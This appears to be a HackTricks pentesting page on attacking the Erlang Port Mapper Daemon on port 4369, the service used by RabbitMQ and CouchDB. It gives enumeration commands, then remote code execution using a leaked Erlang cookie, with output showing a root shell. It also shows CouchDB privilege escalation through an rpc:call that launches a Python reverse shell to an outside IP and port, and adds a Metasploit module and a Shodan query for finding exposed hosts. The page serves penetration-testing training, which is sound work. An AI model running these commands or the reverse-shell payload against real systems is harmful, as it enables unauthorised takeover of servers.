4369 - Pentesting Erlang Port Mapper Daemon (epmd) - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

# Basic Info

The Erlang Port Mapper Daemon (epmd) serves as a coordinator for distributed Erlang instances. It is responsible for mapping symbolic node names to machine addresses, essentially ensuring that each node name is associated with a specific address. This role of epmd is crucial for the seamless interaction and communication between different Erlang nodes across a network.

Default port: 4369

    PORT     STATE SERVICE VERSION
    4369/tcp open  epmd    Erlang Port Mapper Daemon

This is used by default on RabbitMQ and CouchDB installations.

# Enumeration

## Manual

    echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

    #Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
    dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
    apt-get install erlang
    erl #Once Erlang is installed this will promp an erlang terminal
    1> net_adm:names('<HOST>'). #This will return the listen addresses

## Automatic

    nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

    PORT     STATE SERVICE VERSION
    4369/tcp open  epmd    Erlang Port Mapper Daemon
    | epmd-info:
    |   epmd_port: 4369
    |   nodes:
    |     bigcouch: 11502
    |     freeswitch: 8031
    |     ecallmgr: 11501
    |     kazoo_apps: 11500
    |_    kazoo-rabbitmq: 25672

# Erlang Cookie RCE

## Remote Connection

If you can leak the Authentication cookie you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters.

    greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
    Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

    Eshell V8.1 (abort with ^G)

    At last, we can start an erlang shell on the remote system.

    (test@target.fqdn)1>os:cmd("id").
    "uid=0(root) gid=0(root) groups=0(root)\n"

More information in https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
The author also share a program to brutforce the cookie:

epmd_bf-0.1.tar.bz2

## Local Connection

In this case we are going to abuse CouchDB to escalate privileges locally:

    HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
    (anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
    "homer\n"
    (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Example taken from https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
You can use Canape HTB machine to practice how to exploit this vuln.

## Metasploit

    #Metasploit can also exploit this if you know the cookie
    msf5> use exploit/multi/misc/erlang_cookie_rce

# Shodan

- `port:4369 "at port"`

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.